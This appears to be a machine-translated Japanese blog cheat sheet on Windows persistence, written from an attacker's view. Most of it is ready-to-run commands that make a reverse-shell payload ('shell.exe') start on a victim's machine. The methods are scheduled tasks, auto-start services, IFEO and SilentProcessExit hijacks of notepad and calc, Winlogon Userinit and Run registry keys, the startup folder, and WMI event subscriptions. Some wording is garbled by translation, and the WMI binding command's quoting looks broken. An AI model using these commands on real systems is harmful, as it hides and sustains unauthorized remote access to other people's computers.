Windows 永続性チートシート

Mar 03 2023
はじめに この新しい記事へようこそ。ここでは、Windows システムで永続性を取得するための CheatSheet について説明します。ここでは、それを行うための多くの方法を見ていきます。最後に、私が C++ で作成したこれらすべてを自動化するツールを作成します。持続性とは何ですか? 永続性は、攻撃者が再起動、資格情報の変更、およびアクセスを遮断する可能性のあるその他の中断が発生しても、システムへのアクセスを維持するために使用する手法で構成されます。

序章

この新しい記事へようこそ。ここでは、Windows システムで永続性を取得するための CheatSheet について説明します。ここでは、それを行うための多くの方法を見ていきます。最後に、私が C++ で作成したこれらすべてを自動化するツールを作成します。

持続性とは何ですか?

永続性は、攻撃者が再起動、資格情報の変更、およびアクセスを遮断する可能性のあるその他の中断が発生しても、システムへのアクセスを維持するために使用する手法で構成されます。永続化に使用される手法には、正規のコードの置き換えやハイジャック、スタートアップ コードの追加など、システム上での足場を維持できるようにするアクセス、アクション、または構成の変更が含まれます。

これが最も正しい定義ですが、私の言葉で言えば、永続性とは基本的に、いつでも被害者のマシンにアクセスし続けたり、操作を継続したりできることを意味します。コンピュータをシャットダウンした後でも、再感染することなくシェルを再び受け取ることになります。被害者のデバイス。

索引

  • スケジュールされたタスク
  • サービス
  • アプリを閉じる
  • アプリを開く
  • ウィンログオン
  • 実行登録
  • スタートアップフォルダー
    WMIC

スケジュールされたタスク:

スケジュールされたタスクは永続性を実現する最も簡単な方法の 1 つです。問題は、ユーザーが発見しやすいことですが、単純なユーザーは通常これに気づきません。

これを作成するには、schtasks を使用する必要があります。

新しいタスクを作成するには:

schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"

      
                

Windows サービスは、Unix デーモンに似た、メモリやデバイスの管理から、サードパーティ アプリケーションの管理、ユーザーの資格情報や設定に至るまで、あらゆるものを管理するオペレーティング システムの中核コンポーネントです。

POC:

始めるには、powershell インスタンスが必要です。

そして今、自動起動で新しいサービスを作成します。このサービスは、BinaryPathName で指定されたバイナリを実行します。

New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic

      
                

sc start s12

      
                

次に、これが私のお気に入りの方法です。この方法では、ユーザーが定義されたプロセスまたはバイナリを閉じたときにバイナリを実行できます。この場合、ユーザーがnotepad.exeプロセスを終了したときにリバースシェルを作成します。

これを行うには、cmd で 3 つのコマンドを実行する必要があります。

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"

メモ帳を自動的に閉じるとリバース シェルが表示されます

アプリを開く:

次の方法は、私の 2 番目のお気に入りの方法です。この方法では、ユーザーが定義されたプロセスまたはバイナリを開いたときにバイナリを実行できます。この場合、ユーザーがcalc.exeプロセスを開いたときにリバース シェルを作成します。

これを行うには、cmd で 2 つのコマンドを実行する必要があります。

copy calc.exe _calc.exe

      
                
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f

ユーザーが電卓を開くと、リバース シェル接続が表示されます。

ウィンログオン:

Winlogonは、ログオン、ログオフ、認証中のユーザー プロファイルの読み込み、シャットダウン、ロック画面などのさまざまなアクティビティを処理する Windows コンポーネントです。この種の動作は、Windows ログオン中に開始するプロセスを定義するレジストリによって管理されます。レッドチームの観点から見ると、これらのイベントは、永続化のために任意のペイロードを実行するトリガーになる可能性があります。

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

      
                

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f

      
                

レジスタキーが変更されました!

実行登録

レジストリは、Windows および Windows 上で実行されるアプリケーションとサービスの動作に重要なデータを含む階層データベースです。データはツリー形式で構造化されています。ツリー内の各ノードはキーと呼ばれます。各キーには、サブキーと値と呼ばれるデータ エントリの両方を含めることができます。

POC:

この場合、Run Register を使用するのが最適です。このレジスタは Windows システムで最も重要なものの 1 つですが、この場合には、これを実行するのに管理者権限が必要ないという利点があります。

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"

      
                

スタートアップフォルダー

再起動またはユーザー ログオンの後、Windows オペレーティング システムは、通常、スタートアップ フォルダーに使用されるパスに存在する実行可能ファイルを実行します。

C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

      
                

Windows Management Instrumentation (WMI) を使用すると、システム管理者はローカルおよびリモートでタスクを実行できます。レッド チームの観点から見ると、WMI は、水平移動、永続化、状況認識、コード実行などのいくつかのアクティビティを実行するために、またコマンド アンド コントロール(C2)として使用できます。WMI は、ほぼすべての Windows オペレーティング システム (Windows 98 ~ Windows 10) に存在する Windows の一部であるという事実により、これらの攻撃的な活動がブルー チームの目に留まらないようにすることができます。

実行可能ファイルは、再起動するたびに 60 秒以内にリバース シェル セッションを返します。

この場合、3つのコマンドを実行する必要があります。

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

      
                
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""

今日の記事まで、この CheatSheet は非常にうまく機能しており、非常に役立つと思います。さらに、これらすべてを自動化するツールを C++ で作成しています。私のGithubに注目してください。

これを読んでくれてありがとう:)

S12.